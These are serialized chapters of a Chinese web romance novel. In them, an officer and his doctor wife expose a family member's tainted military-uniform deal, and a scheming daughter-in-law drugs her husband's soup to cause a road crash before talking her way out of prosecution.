白凝凝已经坐起身,整理好了自己的衣服,她看着傅清寒那张阴沉得能滴出水的脸,轻声问:“部队出事了?” 傅清寒转过头,看到她那副乖巧懂事的模样,心中的怒火和欲求不满瞬间化为了一丝歉疚。他走过去,在她额上印下一个吻:“嗯,新发的作训服有问题。抱歉……” “作训服?”白凝凝心中一动,一个模糊的念头闪过,“我跟你一起去看看。” “你是医生,你去看,你能看出来什么?”凝凝反驳得理直气壮。 傅清寒看到她眼神里的认真,知道劝不住,便点点头,“好。” 半个小时后,傅清寒的吉普车驶入了军营。 医务室里,已经挤满了哀嚎的战士。他们个个身强力壮,此刻却因为皮肤上那大片大片触目惊心的红疹,而挠得龇牙咧嘴,痛苦不堪。空气中弥漫着一股焦躁不安的气氛。 军医们忙得焦头烂额,却束手无策。 “老大!”副官詹骁看到傅清寒,像是看到了主心骨,立刻迎了上来。 “情况怎么样了?” “还是老样子!这疹子太邪门了,又红又肿,还冒水泡,越挠越严重!”詹骁愁眉苦脸地说道。 傅清寒的目光扫过那些痛苦的战士,脸色阴沉得能滴出水来。他拿起一件全新的作训服,仔细地检查着。面料看起来没什么问题,也没有异味。 “这批衣服是哪个厂子供的?质检报告呢?”他冷声问道,声音里带着不容置喙的威压。 詹骁的脸色瞬间变得有些为难,他看了一眼傅清寒,又飞快地低下头,声音也跟着小了下去:“报告老大,这批衣服……是傅主任那边采购部签批的,南方一家叫‘飞宇’的服装厂。”他一边说,一边小心翼翼地递上文件,“质检报告我们看了,所有指标都合格。” 他知道,傅团长和他大哥傅主任的关系一向不睦,但那毕竟是血浓于水的亲兄弟。现在出了这么大的纰漏,直接牵扯到傅主任,这事……可就难办了。 傅清寒听到“傅主任”三个字,眼神瞬间冷了下来!他没有理会詹骁的犹豫,只是接过文件,那双锐利的眼睛,仿佛要将纸上的每一个字都洞穿。 白凝凝走上前,从一个战士身上取了一点皮屑,又拿过一件新的作训服,放在鼻尖轻轻一闻。一股极其微弱的、被化学染料掩盖住的特殊气味,钻入了她的鼻腔。 “这不是过敏。”白凝凝抬起头,语气笃定。 在场所有人的目光,都瞬间聚焦在了她身上。 “嫂子,您……您说什么?”詹骁有些不解。 白凝凝没有解释,而是看向傅清寒,一字一句,清晰无比地说道:“这是一种由劣质混纺布料,混合了工业碱性染料后,在人体出汗时产生的化学性灼伤。初期症状和过敏很像,但拖久了,会深入皮下组织,造成不可逆的损伤,甚至溃烂!” 此言一出,全场皆惊! 第43章 我不好,你们也别想好过! 傅清寒的眼神,瞬间变得如刀锋般锐利!他立刻明白了事情的严重性!这已经不是简单的质量问题了,这是足以定性为“危害国防安全”的重大事故! “你有办法治吗?”他看着白凝凝,眼中充满了绝对的信任。 “有。”白凝凝点点头,神情恢复了神医该有的冷静和自信,“很简单。去熬一大锅甘草绿豆汤,清热解毒。另外,用大量的艾草、金银花和蛇床子煮水,让战士们用药水擦洗患处,一日三次。三天之内,保证痊愈。”她顿了顿,目光扫过那堆积如山的作训服,声音冷了下来:“至于这些衣服,全部就地封存,一件都不能再穿!它们不是衣服,是毒药!” “是!”詹骁立刻领命,敬佩地看了这位年轻的“嫂子”一眼,飞快地跑去安排了。 危机,在白凝凝几句话之间,便有了解决的方向。 傅清寒看着她那副运筹帷幄、自信从容的模样,心中涌起一股难以言喻的骄傲。他拉起她的手,低声道:“这次,谢谢你。” 白凝凝看了他一眼,感受着他掌心的温度,轻声说:“我们不是夫妻嘛,说什么谢谢,多见外。” 她的目光转向那份文件,眼中流露出一丝担忧:“只是……这件事牵扯到你大哥,也牵扯到傅家……你打算怎么解决?会不会对你有影响?” 她担心的,不是傅建军的下场,而是傅清寒会不会因此受到牵连。 傅清寒感受到了她的担忧,反手将她的小手握得更紧。他看着她,眼神里是前所未有的坚韧和决绝。 “成年人做事是要承担后果的,即便是我大哥也一样。”他的声音冰冷而坚定,“至于傅家,做错了事,就要立正挨打。如果上面要因此迁怒于我,我也会一力承担。凝凝,你放心,我不会让任何人,任何事,影响到我们。” 他所说的“我们”,指的是他和她的小家。 白凝凝看着他那副顶天立地的模样,心中所有的担忧都化为了安心。她知道,这个男人,永远是她最坚实的依靠。 傅清寒说完,再无一丝犹豫,拿起电话,直接拨通了军区纪委的号码。 “我是傅清寒。我部发生重大军需物资安全事故,我实名举报,后勤采购部主任傅建军,涉嫌玩忽职守,以及……经济问题!” 他要查!一查到底!不管牵扯到谁,他都要把这颗藏在军队里的毒瘤,连根拔起! —— 傅家主宅。 楚小小正悠闲地涂着指甲油,畅想着赵宇轩许诺给她的那笔巨额“分红”到账后,要如何买一栋属于自己的小洋楼,彻底摆脱周玉芬这个恶婆婆。 而周玉芬,则在兴高采烈地打电话,跟她的牌搭子炫耀,自己儿子最近有多“出息”,竟然认识了南方的大老板,马上就要发大财了。 就在这时,一辆黑色的轿车,和一辆军用吉普,悄无声息地停在了傅家大院门口。 几个穿着制服、神情严肃的男人,走了下来。 他们径直走进傅家主宅,在周玉芬和楚小小惊愕的目光中,出示了证件。 “傅建军同志,楚小小同志,根据举报,你们涉嫌参与一起重大的军需物资经济案件,请跟我们走一趟,配合调查!” “轰!” 楚小小的脑子一片空白,手中的指甲油瓶“哐当”一声掉在地上,摔得粉碎。 周玉芬更是眼前一黑,当场就晕了过去。 傅清寒的实名举报,像一颗投入平静湖面的深水炸弹,在军区高层掀起了滔天巨浪。 纪委的调查效率极高。 仅仅两天时间,一条清晰的、触目惊心的利益链条,就被摆在了傅老爷子和傅清寒的面前。 调查人员首先约谈了南方“飞宇”服装厂的老板——赵宇轩。面对军方的雷霆之威,赵宇轩没敢有丝毫隐瞒,很快就交代了,他是通过傅家的长孙媳妇楚小小牵线搭桥,才拿到了这笔本该由国营大厂承接的军服订单。作为回报,他许诺给楚小小利润的三成作为“好处费”。 而随着调查的深入,一件更让傅家人震惊的旧事,也被翻了出来。 当初那个导致傅建军仕途差点断送的“德语翻译事件”,其源头——那个翻译的漏洞百出所谓“德语高材生”,正是楚小小的远房表哥! 两件事,都与她有关! 这个看似柔弱无辜、楚楚可怜的女人,竟然像一个“灾星”一样,一次又一次地,将傅家大房推向深渊! “这个搅家精!这个丧门星!” 傅家主宅里,周玉芬在得知所有真相后,彻底疯了!她指着楚小小的鼻子,破口大骂,将所有最恶毒的词汇都用在了她身上,恨不得当场就将她撕碎! “当初我就不该让你进门!是你!都是你害了我们家!害了向阳!” 面对周玉芬的指责和傅向阳那充满了怨恨和厌恶的眼神,楚小小在经历了最初的惊慌之后,立刻开始了自己的表演。她“噗通”一声跪倒在地,爬过去抱住傅建军的大腿,哭得梨花带雨,声嘶力竭:“爸!爸!我错了!我都是为了我们家好啊!我想让向阳有面子,想让您和妈过上好日子,我才鬼迷心窍的啊!” 她声泪俱下,一边哭,一边抚摸着自己高高隆起的小腹:“您看在您未出世的亲孙子份上,救救我啊!他还那么小,他不能没有妈妈啊!” 然而,这一次,她无往不利的“肚子”牌,失效了。 傅建军看着这个将傅家拖入深渊的女人,气得浑身发抖。他猛地一脚,将她踹开! “你这个胆大包天的毒妇!”他双目赤红,指着她的鼻子破口大骂,“为了钱,连军队的作训服都敢动手脚!我们傅家几代人的清誉,全都被你这个丧门星给毁了!” 他看着她护着肚子的模样,更是气不打一处来,说出的话,也狠毒到了极点: “你的种我们傅家不敢要!谁知道是不是随了你这种下三滥的根性!我们向阳还年轻,他可以再娶!可以再生!你休想拿这个孽种当你的挡箭牌!” 一旁刚刚被掐人中救醒的周玉芬,听到丈夫这番话,虽然心疼她日盼夜盼的“大孙子”,但在这种抄家灭门的大祸面前,她一个字也不敢反驳,只是瘫在沙发上,面如死灰地哭泣。 傅向阳站在一旁,脸色惨白如纸。他看着父亲对妻子破口大骂,看着母亲哭天抢地,他屁都不敢放一个。他既恨楚小小惹出滔天大祸,又怕自己被牵连,完全成了一个没担当的、彻头彻尾的懦夫。 楚小小被傅建军踹倒在地,小腹传来一阵隐痛。她难以置信地看着眼前这群冷漠无情的“家人”。 这就是她费尽心机嫁进来的人家!大难临头,他们想到的第一件事,就是把自己推出去当替罪羊!甚至连她肚子里的孩子,他们都说不要就不要! 那一刻,楚小小心中所有的幻想,都化为了彻骨的恨意。她知道,自己完了。但她不甘心!凭什么她要一个人下地狱,而这群人,尤其是那个娶了她的傅向阳,还能安然无恙地“再娶再生”?! 自己不好过,他也别想独善其身! 第44章 不能让他死得稀里糊涂 一个极其恶毒的念头忽然冒了出来。既然你们不要我的孩子,那你们就别想再有没有别的后代! 调查人员给了他们一点时间,让他们简单收拾一下。楚小小从地上爬起来,脸上还挂着泪痕,眼神却已经变得平静,平静得可怕。 她走到面如死灰的周玉芬面前,用一种近乎哀求的语气,哽咽道:“妈,我知道错了。在走之前,让我……让我再给向阳做最后一顿饭,熬一碗他最爱喝的莲子汤吧。就当……就当我跟他留个念想,做个了断。” 周玉芬此刻六神无主,只觉得心力交瘁,也就挥了挥手,默许了。 楚小小走进厨房,关上了门。她没有去拿莲子,而是从自己随身的包里,翻出了一个不起眼的小纸包。里面装的,是她之前为了应对失眠,托人从黑市买来的、药效极强的西药安眠药粉。 她看着手中的药粉,眼神里充满了疯狂的恨意。 她知道,傅向阳今晚有一个推不掉,需要连夜开车的紧急公差。只要他喝下这碗汤……只要他出事…… 她肚子里的孩子,在他们眼里就成了傅家大房唯一的后!成了傅建军和周玉芬唯一的指望! 到时候,他们为了这唯一的血脉,就算倾家荡产,也得拼死把自己保出来! 她愈发为自己的机智洋洋得意,自己真是智力超群,赛诸葛啊! 说干就干,她将整整一包,足以让一头牛睡上三天三夜的药粉,全部倒进了滚烫的汤里,细细地搅匀。然后,她端着那碗散发着淡淡清香,却暗藏杀机的“莲子汤”,一步步地,走向了那个坐在客厅里,对一切都毫不知情的男人。 “向阳,喝吧。”楚小小端着那碗汤,走到傅向阳面前。她脸上还挂着泪痕,眼神却异常温柔,温柔得让人心悸。 “这是我……最后一次为你熬汤了。喝了它,我们俩缘分就尽了,以后我会想你的。” 傅向阳看着她那副“痛改前非”、楚楚可怜的模样,心中的烦躁和怨恨,也消减了几分。毕竟一夜夫妻百日恩,如今看她即将身陷囹圄,心里也并非毫无波澜。 他没有多想,接过碗,将那碗温度正好的“莲子汤”,一饮而尽。 “我走了。”楚小小看着他喝完,嘴角勾起一抹无人察觉的、诡异的笑容。 随后,她和早已面如死灰的傅建军,被调查人员带离了傅家主宅。 临上车前,楚小小回头,深深地看了一眼那个依旧坐在客厅里、神情颓丧的男人。那一眼,意味深长,似乎充满了诀别和……不易察觉的得意。 —— 傅清寒和白凝凝自然也得知了傅家主宅被调查的消息。 “我回主宅看看。”傅清寒对白凝凝说道,眉宇间带着一丝担忧。大哥一家当然是自作自受,但他担心这件事会刺激到老爷子的身体。 “我跟你一起去。”白凝凝也不放心。 两人一前一后,快步赶到了傅家主宅。 主宅里,一片狼藉。只见周玉芬瘫在沙发上,双目无神,仿佛被抽走了魂魄。 “父亲呢?”傅清寒沉声问道。 “老爷子……被气得回房休息了。”周玉芬有气无力地回答。 傅清寒的目光在客厅里扫了一圈,却没有看到傅向阳的身影。“向阳人呢?” 周玉芬抹了把眼泪,说道:“他……他有紧急公差,刚开车走了,去西山仓库拉物资。” 傅清寒的眉头,在这一刻,猛地皱了起来。 平时的傅向阳都是拈轻怕重,有事没事都请病假躲清净。现在家里出了这么大的事,竟然会去执行紧急公差?这怎么可能? 他正想细问,周玉芬却像是想起了什么,指着桌上那个空碗,絮絮叨叨地感慨道:“说起来,小小那丫头……临走前,还特意给向阳熬了碗莲子汤,说是怕他晚上开车犯困,喝了能定定神……也算她还有点良心……哎……这件事是她不对,但好歹她也怀着我们傅家唯一的骨肉啊…你大哥就是心太狠了…好歹等到孙子生下来再说啊……” 安神汤?! 傅清寒的眼神,瞬间变得锐利如刀! 楚小小是什么人?一个为了钱,连军需物资都敢动手脚的贪婪毒妇!一个在大难临头时,不想着如何自保,不想着如何求情,反而有闲情逸致去给丈夫熬一碗“莲子汤”? 这根本不符合楚小小那种自私自利、心狠手辣的性格! 事出反常必有妖! “碗和锅在哪里?”傅清寒的声音,陡然冷了下来。 周玉芬被他吓了一跳,指了指厨房:“还……还在厨房里。” 傅清寒立刻转身,对身后的白凝凝沉声道:“凝凝,你跟我来!” 白凝凝也早已察觉到不对劲,跟着傅清寒快步走进厨房。 灶台上,那只熬汤的砂锅还温着。傅清寒端起砂锅,递到她面前。 白凝凝甚至不用凑近,就闻到了一股极其微弱、被莲子清香掩盖住的异常气味。她伸出手指,蘸了一点锅底残留的汤汁,放在舌尖轻轻一尝。 下一秒,她的脸色,彻底变了! “东西不对!”她的声音里带着前所未有的凝重,“里面是一种强效的神经抑制剂!比普通安眠药的药效强几十倍!它不会让人立刻睡着,但会在半个小时内,逐渐麻痹人的反应神经和判断力,让人产生类似‘喝醉酒’的迟钝感!如果在这个时候高速驾驶……后果不堪设想!” 傅清寒的心,瞬间沉到了谷底! 这个恶毒的女人!她不是想让傅向阳睡觉,她是想让他,在最不清醒的状态下,“意外”死在路上! 他立刻冲出厨房,抓起客厅里那台红色的军用电话,飞快地拨打着西山仓库的号码,同时对警卫员大吼:“备车!去西山!” 电话很快接通,他对着那头咆哮道:“我是傅清寒!立刻拦截前往仓库的尾号749的军用卡车!司机傅向阳,状态有问题!重复,立刻拦截!” 然而,仓库那头却传来了焦急的回应:“报告团长!749号车……没有按预定路线行驶!我们五分钟前,就已经和他失去了无线电联系!” 失去了联系! 所有人的的心,提到了嗓子眼!楚小小这是想干嘛?自己犯下大罪之后还要谋害亲夫? 傅清...寒握着电话的手,青筋暴起。他知道,现在每耽误一秒,傅向阳的危险就增加一分。 他挂断电话,看着白凝凝,眼神里是前所未有的决绝和……一丝托付。 “凝凝,你留在家里,照顾好老爷子。” “那你呢?” “我去追!”傅清寒的声音斩钉截铁,“他做错了事有组织惩罚,而不是因为这种下三滥的手段死得稀里糊涂!” 说完,他抓起车钥匙,像一阵风一样,冲出了傅家大院! 第45章 傅向阳不行了! 夜色如墨,蜿蜒曲折的山路像一条匍匐在黑暗中的巨蟒。 军用吉普车的引擎在疯狂轰鸣,傅清寒将油门踩到了底。车灯划破黑暗,像两道锐利的剑,刺向未知的远方。 他的心,从未像此刻这般焦灼。 那个他从小就不怎么看得上眼的、不成器的侄子,此刻的性命,就悬于一线。 他鄙视傅向阳的懦弱和愚蠢,也厌恶他对凝凝的觊觎,但傅向阳不能被一个恶毒的女人用这种办法害死。 更不能让那个蛇蝎心肠的女人达到不堪的目的! 她为什么这么说,无非就是害死了向阳,仗着肚子里的孩子来要挟傅家。 自己怎么能让这样的毒妇如愿! “去往西山仓库有几条路?”傅清寒一边开车,一边用对讲机联系着疗养院的警卫部队,声音冷静得可怕。 “报告团长!主路一条,还有两条废弃的盘山小路!路况极差!” “立刻封锁所有路口!派人从小路反向搜索!一旦发现目标车辆,不惜一切代价,给我拦停!” “是!” 傅清寒挂断通讯,大脑在急速运转。 根据傅向阳那种迷糊的状态,他大概率不会走复杂的盘山小路,只会在主路上“梦游”。他现在唯一的希望,就是在傅向阳开到最危险的“死亡发夹弯”之前,追上他! 吉普车在山路上演着惊心动魄的漂移,每一次过弯,轮胎都发出刺耳的摩擦声,几乎要擦着悬崖的护栏飞出去。 而此刻,坐在那辆军用卡车驾驶室里的傅向阳,已经陷入了一种极其危险的半昏迷状态。 楚小小那碗“莲子汤”里强效的神经抑制剂,正全面地侵蚀着他的大脑。 他眼前的景象开始出现重影,路灯的光晕在他眼中扭曲、拉长。他的手脚变得不听使唤,踩油门和刹车的力度全凭本能。车子像一头失控的钢铁巨兽,在空无一人的山路上歪歪扭扭地疾驰,好几次都险些撞上山壁。 他只觉得好困,好想睡。 就在这时,他的后视镜里,出现了一道刺眼的光束! 是傅清寒追上来了! 傅清寒看到前方那辆如同醉汉般摇摆的卡车,心瞬间提到了嗓子眼!他拿起车载扩音器,对着前方大吼: “傅向阳!停车!立刻给我停车!” 然而,扩音器里传出的严厉喝令,在傅向阳那迟钝的大脑里,只化为了一阵模糊的嗡鸣。他甚至产生了一种错觉,以为这是催他快点的命令。 他下意识地,竟然又往下踩了一脚油门! 卡车猛地向前一窜! “混账!”傅清寒怒骂一声,他看了一眼仪表盘,又看了看前方的路况——再过不到一公里,就是最危险的连续发夹弯!以傅向阳现在的状态冲过去,必将车毁人亡! 不能再等了! 傅清寒眼中闪过一丝决绝!他猛打方向盘,吉普车发出一声咆哮,瞬间与卡车并行! 他摇下车窗,在两车高速并行、随时可能碰撞的巨大危险中,对着傅向阳的驾驶室大吼:“踩刹车!!” 傅向阳似乎终于听清了一点,他迷茫地转过头,看到了傅清寒那张因为焦急和愤怒而显得有些狰狞的脸。 他迟钝地想去踩刹车,可慌乱之下,脚却踩歪了,重重地踩在了油门上! “轰——!” 卡车如脱缰的野马,彻底失控,朝着前方的发夹弯护栏,直直地冲了过去! “不——!” 傅清寒目眦欲裂! 在这千钧一发之际,他做出了一个疯狂的决定! 他猛地向右打死方向盘,用自己吉普车的车头,狠狠地撞向了卡车的侧后轮! “砰——!” 一声震耳欲聋的金属撞击声响彻夜空! 傅清寒的吉普车头瞬间凹陷变形,巨大的冲击力让他猛地撞在方向盘上,胸口一阵剧痛。 而被他这么一撞,失控的卡车也因为巨大的侧向力,改变了方向!它没有直接冲下悬崖,而是发出一阵刺耳的摩擦声,车身侧翻,重重地砸在了山路上,滑行了十几米后,终于停了下来! 驾驶室已经严重变形,但好在,没有坠崖! 傅清寒顾不上自己胸口的剧痛和额角流下的鲜血,他踹开车门,第一时间冲向了侧翻的卡车。 他用尽全身力气,拉开已经变形的车门,将昏死在驾驶座上、满头是血的傅向阳,从里面拖了出来。 就在他们离开卡车不到十秒钟—— “轰隆!” 卡车的油箱因为剧烈撞击而起火,随即发生了剧烈的爆炸! 火光冲天,将半个夜空都映照得一片血红。 傅清寒抱着昏迷不醒的傅向阳,看着那熊熊燃烧的烈火,双腿一软,也跌坐在地上,大口大口地喘着粗气。 晚了一步,就晚了一步。 他救下了傅向阳的命,可看着他两腿之间那一片被方向盘和仪表盘挤压得血肉模糊的惨状,傅清寒的心,沉到了谷底。 —— 军区总医院,抢救室的红灯,亮了整整一夜。 天快亮时,主治医生满脸倦容地走了出来,摘下口罩,宣布了那个残酷的判决:“……病人的下半身,受到了不可逆的、毁灭性的损伤……也就是说,他以后,再也没有生育能力了。” 没有生育能力了! 这句话,像一道九天玄雷,狠狠地劈在了周玉芬的头顶!她眼前一黑,尖叫一声,当场就晕了过去。 完了,他傅家大房的香火,就这么断了! 傅老爷子也是身形一晃,手中的拐杖重重地敲击着地面,那张饱经风霜的脸上,满是痛心和失望。整个傅家,都知道清寒当年伤了身子,此生再无子嗣可能。本以为大房还能开枝散叶,谁知道…… 一个跟了傅家多年的老部下,忍不住上前扶住老爷子,低声劝道:“老首长,您可要保重身体啊!向阳这……唉!但事已至此,起码……起码楚小小肚子里,还怀着一个啊!那可是咱们傅家现在唯一的血脉了!” 这句话,像一道闪电,瞬间劈醒了刚刚被人掐醒、还处于混沌中的周玉芬! 向阳不行了…… 但……但是……楚小小!她的肚子里,还有一个! 第46章 绿茶婊和白莲花,王见王 在所有人都以为傅家两房都要绝嗣的情况下,这个孩子,就是整个傅家唯一的希望!是她后半辈子唯一的指望!是名副其实、独一无二的“金孙”! “孙子……我还有孙子!我还有孙子!!”周玉芬像是疯了一样,嘴里喃喃自语,原本涣散的眼神,瞬间被一种狂热的、孤注一掷的光芒所取代! 她猛地推开身边的人,冲到还在接受调查的丈夫傅建军面前,抓住他的胳膊,声音凄厉地哭喊道:“建军!建军你听我说!向阳他……他完了!我们现在,就只剩下楚小小肚子里的那块肉了!那是我们家唯一的根啊!” 她像是下了什么决心,死死地盯着丈夫的眼睛:“你……你就把责任都担下来吧!你是孩子的亲爷爷啊!只要你把孙子保下来,我……我给你跪下都行!” 傅建军看着妻子那近乎疯魔的模样,心中一片冰凉,却也知道,这或许是唯一的办法了。 与此同时,在另一间被临时用作问询室的病房里,楚小小正面临着她重生以来最大的危机,她不知道自己赌赢了没有,心里七上八下。 看管她的警卫员忽然被叫了出去,片刻后,递给了她一部电话,面无表情地说:“有人找你。” 楚小小疑惑地接过电话,听筒里,传来一个她意想不到的、却又无比熟悉的声音。 是林晚晴。 此刻的林晚晴,正被家族禁足在自家的别墅里。舞会上的奇耻大辱,让她成了整个京市的笑柄,她恨不得将白凝凝和傅清寒生吞活剥!正愁没有报复的机会,楚小小这件事,简直是瞌睡送来了枕头! “楚小小,想不想从这件事里脱身?想不想让你肚子里的‘金孙’,成为你真正的护身符?”电话那头的声音,优雅而又冰冷,充满了复仇的快意和洞悉一切的从-容。 楚小小的心猛地一跳:“你……你怎么会……” 林晚晴嗤笑一声,“闹了这么大的动静,谁不知道?你只需要听着,然后照我说的做。” “第一,把‘问题军服’的所有责任,都推给赵宇轩。第二,主动申请做‘污点证人’,配合他们‘立功’。一个有重大立功表现的、被人蒙蔽的、还怀着傅家‘唯一后代’的孕妇,谁也动不了你。” “那……他们会信吗?” 林晚晴嗤笑一声,“不是他们信不信,而是他们只能信。” 林晚晴的的这句话也是之前她想好的脱身之计,只要自己肚里有货,他们就不敢怎么样。只是……傅向阳出车祸了,可惜人没死…… 她颤抖着声音试探地向林晚晴请教:“林小姐!您的办法很好,但是……但是我怕向阳晚上开车犯困,‘好心’给他熬了一碗‘安神汤’……现在他出事了!傅家……傅家一定会怀疑我,找我算账的!这件事……怎么办?” 她小心翼翼地,将“下药”包装成了“好心办坏事”。 电话那头沉默了两秒,随即传来林晚晴的一声轻笑,那笑声里,充满了对楚小小愚蠢的轻蔑,却又夹杂着一丝不易察觉的……欣赏。 她当然知道楚小小那点小伎俩,但她不在乎,甚至觉得这个女人心狠手辣,为达目的不择手段,倒是比她想象中更有用。 “那有什么难的?”林晚晴的声音,带着一丝冰冷的指点,仿佛在教一个不成器的学生,“你就一口咬定,那是你从一个查无此人的‘乡下老中医’那里买来的‘安神散’!你只是‘好心办坏事’,是愚昧无知!别忘了,你婆婆现在比谁都想保住你肚子里的种。只要你哭得够惨,她会主动帮你把这个谎圆过去。懂了吗?” 楚小小瞬间醍醐灌顶!对啊!周玉芬!她现在最大的护身符,不就是周玉芬吗! 她心中对林晚晴的敬畏又深了一层,这个女人,不仅家世显赫,心思更是深沉到可怕! “你……你为什么要帮我?”楚小小平复了一下心情,警惕地问。 电话那头传来一声轻笑,那笑声里,充满了掌控感:“我帮你,不是因为我善良。楚小小,我们有共同的敌人。” “从今以后,你就是我在傅家的一双眼睛,一只耳朵。白凝凝的一举一动,她和傅清寒之间发生的所有事,哪怕是吵架拌嘴,你都必须第一时间向我汇报。” 林晚晴的声音,陡然变冷:“做得到,你和你肚子里的种,就能安然无恙。做不到……我有办法让你进去,就同样有办法,让你的‘立功表现’,变成‘罪上加罪’,让你在监狱里,把牢底坐穿。” 楚小小握着电话,手心冰凉。她心里清楚林晚晴不是好人,更不是省油的灯,但她现在有的选吗? 显然她没有。她深吸一口气,用尽全身的力气,对着话筒: “……放心吧,晚晴姐,我都明白。” —— 一夜之间,傅家大房的天,塌了。 傅建军被带走接受调查,傅向阳重伤入院,生死未卜。周玉芬的世界,在短短几个小时内,被搅得天翻地覆。 而这场风暴的中心——楚小小,则在经历了最初的恐慌后,迅速冷静下来。在林晚晴那个“魔鬼的电话”指点下,她知道,自己唯一的生路,就在于一场完美的表演。 调查组的问询室里,她将自己塑造成了一个最无辜、最可怜的受害者。 “我……我都是为了我们家啊!”她哭得肝肠寸断,眼泪像断了线的珠子,“自从……自从凝凝姐嫁给了小叔,我们家在傅家的地位就一落千丈!所有人都看不起我们,看不起向阳!我……我只是想争口气,想赚点钱,让向阳的腰杆能挺直一点,让我们的孩子将来出生,不会被人指指点点……” 她巧妙地将自己的贪婪,包装成了“为夫争光”的深情。 她一边哭,一边从口袋里拿出几张伪造的、与赵宇轩的“交易记录”,主动“立功”。 “是赵宇轩!都是他骗我的!”她倒打一耙,将所有罪责推得一干二净,“他说他是南方的大老板,有门路能拿到物美价廉的布料。他说,只要我能帮忙搭上关系,就能让傅家也跟着分红。我……我一个女人家,哪里懂这些生意上的事?我当他是朋友,就信了他……谁知道他是个黑心烂肝的奸商!我也是被他蒙蔽了啊!” 她的表演天衣无缝,主动“立功”,将所有罪责推得一干二净。 而另一边,医院里,当傅向阳从昏迷中醒来,得知自己绝嗣的噩耗后,彻底崩溃了。他像一头发狂的野兽,在病床上嘶吼着,咒骂着那个毁了他一切的女人。 “楚小小!是那个毒妇!她要害死我!我要杀了她!” 第47章 分家,做点什么解乏的? 然而,迎接他的,却是母亲周玉芬一记响亮的耳光! “你给我闭嘴!”周玉芬双目赤红,死死地按住他,声音嘶哑地咆哮道,“你还嫌我们家不够乱吗?!你忘了她肚子里还有你的种吗?!那是我们家唯一的根!你唯一的儿子!” 为了保住这“唯一的香火”,周玉芬像疯了一样,冲到了问询室,对着正在接受质询的楚小小,开始了一场“主动”的洗白。 “小小啊!向阳他……他出车祸了!你老实告诉妈,你临走前给他喝的那碗汤,到底是怎么回事?!”周玉芬死死地抓住她的胳膊,眼神里充满了警告和暗示。 楚小小立刻心领神会,像是受到了天大的刺激,情绪瞬间崩溃! “妈!向阳他怎么了?!”她抚着肚子,哭得几乎要昏厥过去,“那碗汤……那碗汤怎么会有问题?!那不是毒药!那是我在街上一个流动的小摊贩那里买的‘安神散’!那个小贩说,这是祖传的方子,最是凝神静气!我……我只是想让他路上能精神一点,我怎么会害他啊!我不知道啊!” 她将源头,推给了一个根本无从考证的“流动摊贩”,将自己的主观恶意,完美地掩盖在了“愚昧无知”的外衣之下。 “听到了吗?!听到了吗?!”周玉芬立刻对着调查人员哭喊起来,“她不是故意的!她就是好心办了坏事!她一个年轻姑娘,哪里懂什么药理!都怪那个天杀的黑心小贩!要怪就怪他!” 在周玉芬这位“受害者家属”的全力周旋和“谅解”下,再加上楚小小自己的“重大立功表现”,最终的处理结果下来了。 傅建军承担了“玩忽职守”的主要责任,被撤职、开除党籍,政治生命彻底终结。而楚小小,则因孕妇身份和“立功”表现,加上“下毒案”因家属“谅解”而证据不足,最终免于起诉,在家监视居住。 她,毫发无伤地,从这场滔天大祸中,脱身了。 当楚小小被周玉芬像祖宗一样,小心翼翼地接回傅家主宅时,她看着病床上那个面如死灰、眼神空洞的丈夫,心中没有一丝愧疚,只有报复的快感。 傅向阳看着她,眼神里充满了恨意,却又带着一丝绝望的依赖。他知道,他完了。这个家,也完了。他唯一的希望,只剩下了她肚子里的那块肉。 他别无他法,只能选择了屈服,只能捏着鼻子,认下了这个毁了他一生的“安排”。 ———— 医院的长廊尽头,傅清寒和白凝凝看着傅家大房上演的这出荒唐闹剧,心中百感交集。 “清寒,你大哥一家这下子可真是栽了。全家的希望都寄托在楚小小那样的人身上……以后可还不知道会怎么样呢。” “是啊,”傅清寒轻轻叹了口气,“路都是自己选的,向阳他从小就被大哥大嫂给惯坏了,根本不明白担当和责任两个词是怎么写的。这次吃了大亏,也该长长记性了。” 凝凝轻轻摇头,“她给傅向阳下药,差点车毁人亡,要不是你追上去怕是小命都保不住了。但我看你大嫂没一点追究的意思。他的这个亏可是天大的哑巴亏。你大哥大嫂都指望楚小小肚子里的孩子呢,那就是她的免死金牌。” “不管他们的事了,他们是福是祸,我们已经尽力了。”傅清寒看着白凝凝眼下带着淡淡青黑,她这几天为了自己的战友没日没夜熬着,现在又陪自己了一夜,心中充满了无尽的愧疚和疼惜。 他再也无法压抑内心的情感。他猛地将她拉进怀里,紧紧地、用尽全身力气地抱住,仿佛要将她揉进自己的骨血之中。 “凝凝,”他将头深深地埋在她的颈窝,呼吸着她身上那熟悉的、让他安心的气息,声音沙哑,“以后,他们的这些破事,我们再也不管了。我只要你好好的。” 他顿了顿,像是下定了什么决心,抬起头,看着她的眼睛,极其郑重地说道: “等这件事的风头过去,我就去跟父亲说,我们分家。” “分家?!”白凝凝一愣。 “对,分家。”傅清寒的眼神,坚定而不容置喙,“大哥一家,现在就是一个泥沼。我不能让你,再被他们拖累分毫。以后,我们就过我们自己的日子。” 这两个字,从傅清寒口中说出,让白凝凝心中一震。她知道,这个男人是铁了心,要将她和傅家大房那个泥潭,彻底隔绝开来。 只是,傅老爷子年事已高,又刚刚受了这么大的打击…… “清寒,”白凝凝握住他的手,轻声道,“分家的事,不急。再过一个月就是爷爷的八十大寿,等寿宴过完,我们再跟爷爷提,好吗?我不想让老人家在这个时候,再添堵了。” 傅清寒看着她那双清澈的、充满了体谅和温柔的眼眸,心中的那点戾气和坚硬,瞬间化为了绕指柔。他反手将她的小手握紧,点了点头:“好,都听你的。” 他看着白凝凝眼下带着淡淡青黑,她这几天为了自己的战友没日没夜熬着,现在又陪自己了一夜,心中充满了无尽的愧疚和疼惜。 “走吧,我们回家。” 回到小院,白凝凝只觉得身心俱疲。傅清寒让她先去洗个热水澡,自己则从酒柜里拿出了一瓶珍藏的红酒和两个高脚杯。 等白凝凝裹着浴袍出来时,看到傅清寒正坐在沙发上,他脱了外套,只穿着一件黑色的衬衫,袖子挽到手肘,露出结实的小臂线条。他面前的茶几上,放着红酒,还点了一支舒缓安神的香薰。 “过来。”他朝她招了招手。 白凝凝走过去,被他拉着坐在身边。他将一杯温热的红酒递到她手里,柔声道:“喝一点,解解乏。” 白凝凝喝了一口,微醺的暖意从胃里散开,让她紧绷的神经放松了不少。 “还是累?”傅清寒放下酒杯,坐到她身后,伸出温热的大手,在她紧绷的肩膀和太阳穴上,用一种极其专业而又舒缓的手法,轻轻地按压起来。 他的指尖带着微凉的馨香,力道恰到好处,仿佛按在了她心尖上最柔软的地方。在酒精和舒适按摩的双重作用下,白凝凝彻底放松下来,靠在他怀里,像一只慵懒的猫。 “你还挺会按的啊?” 